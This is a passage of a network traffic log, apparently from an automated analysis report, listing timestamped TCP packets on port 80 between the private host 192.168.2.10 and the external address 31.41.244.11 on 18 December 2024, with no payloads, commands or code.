Dec 18, 2024 15:56:13.845977068 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.846019030 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.846138954 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.846174002 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.846707106 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.846748114 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.846776962 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.846816063 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.847433090 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.847482920 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.847537994 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.847573996 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.848148108 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.848196983 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.848261118 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.848297119 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.848897934 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.848941088 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.848954916 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.848989964 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.849596024 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.849637985 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.849708080 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.849746943 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.850312948 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.850420952 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.850431919 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.850474119 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.851080894 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.851125002 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.851274014 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.851322889 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.851777077 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.851821899 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.851886034 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.851924896 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.852528095 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.852574110 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.852683067 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.852721930 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.853266001 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.853311062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.853363991 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.853404045 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.853996038 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.854044914 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.854060888 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.854100943 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.854701042 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.854749918 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.854789972 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.854830980 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.855568886 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.855619907 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.855657101 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.855700016 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.856163025 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.856209993 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.856326103 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.856374025 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.856868029 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.856910944 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.856978893 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.857017040 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.857736111 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.857784033 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.857795000 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.857836008 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.858561993 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.858619928 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.858620882 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.858675003 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.859092951 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.859144926 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.859215975 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.859262943 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.859817982 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.859867096 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.859898090 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.859992981 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.860567093 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.860615015 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.860764980 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.860814095 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.861239910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.861593962 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.992528915 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.992583036 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.992620945 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.992661953 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.992846012 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.992880106 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.992907047 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.992949963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.993593931 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.993640900 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.993702888 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.993737936 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.994326115 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.994369030 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.019371033 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.019398928 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.019462109 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.019490004 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.019603968 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.019648075 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.019666910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.019843102 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.020334005 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.020374060 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.020399094 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.020633936 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.021065950 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.021106958 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.021127939 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.021146059 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.021593094 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.021640062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.021817923 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.021866083 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.022288084 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.022326946 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.022381067 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.022423029 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.023003101 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.023051023 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.023108006 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.023705959 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.023822069 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.023871899 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.023911953 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.024486065 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.024641991 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.024686098 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.025204897 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.025269985 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.025384903 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.025429010 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.025966883 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.026017904 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.026072979 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.026107073 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.026679039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.026720047 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.026770115 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.026807070 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.027429104 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.027479887 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.027508974 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.027770042 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.028179884 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.028192997 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.028234005 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.028249979 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.028825998 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.028868914 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.028918982 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.028954983 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.029547930 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.029587984 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.029680014 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.029753923 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.030277967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.030317068 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.030383110 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.030633926 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.031028032 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.031068087 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.031160116 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.031200886 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.031759024 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.031795025 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.031810045 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.031832933 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.032499075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.032557011 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.032598019 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.032639980 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.033226967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.033283949 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.033329964 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.033473969 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.033947945 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.034030914 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.034168959 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.034212112 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.034657001 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.034708977 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.034758091 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.034796000 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.035379887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.035424948 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.035581112 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.035621881 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.036122084 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.036159992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.036225080 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.036261082 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.036876917 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.036917925 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.036974907 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.037012100 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.037611008 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.037693024 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.037743092 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.037791014 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.038324118 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.038367987 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.038397074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.038431883 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.039149046 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.039201021 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.039228916 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.039278030 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.039874077 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.039926052 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.039987087 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.040024042 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.040735006 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.040779114 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.040785074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.040831089 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.041270018 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.041356087 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.041404963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.041424036 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.042047024 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.042093992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.042145014 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.042197943 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.042767048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.042810917 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.042872906 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.042985916 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.043529987 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.043576956 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.043607950 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.043642998 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.044239044 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.044334888 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.044359922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.044497967 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.044891119 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.044930935 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.044989109 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.045027971 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.045619965 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.045660973 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.045711994 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.045906067 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.046395063 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.046443939 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.046497107 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.046658039 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.047238111 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.047368050 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.047373056 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.047584057 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.047871113 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.047929049 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.047970057 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.048593998 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.048638105 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.048691034 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.048726082 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.049257040 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.049325943 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.049452066 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.049489021 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.049979925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.050021887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.050029039 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.050122023 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.050923109 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.050977945 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.051079035 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.051203966 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.051451921 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.051533937 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.051573992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.052264929 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.052303076 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.052352905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.052395105 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.052978992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.053000927 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.053023100 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.053040028 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.053778887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.053816080 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.053836107 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.054029942 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.054389954 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.054403067 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.054442883 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.055128098 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.055182934 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.184861898 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.184880018 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.185056925 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.185220003 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.185353994 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.185551882 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.185960054 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.186007023 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.186031103 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.186599016 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.186645985 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.211853027 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.212049961 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.212137938 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.212182045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.212235928 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.212286949 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.212730885 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.212778091 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.212853909 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.213462114 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.213505983 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.213562965 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.213855028 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.213901997 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.214027882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.214591980 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.214638948 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.214711905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.215383053 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.215428114 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.215470076 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.215831995 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.216114044 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.216236115 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.216283083 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.216846943 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.216881037 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.216931105 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.217538118 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.217585087 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.217643023 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.218241930 CET	80	49749	31.41.244.11	192.168.2.10
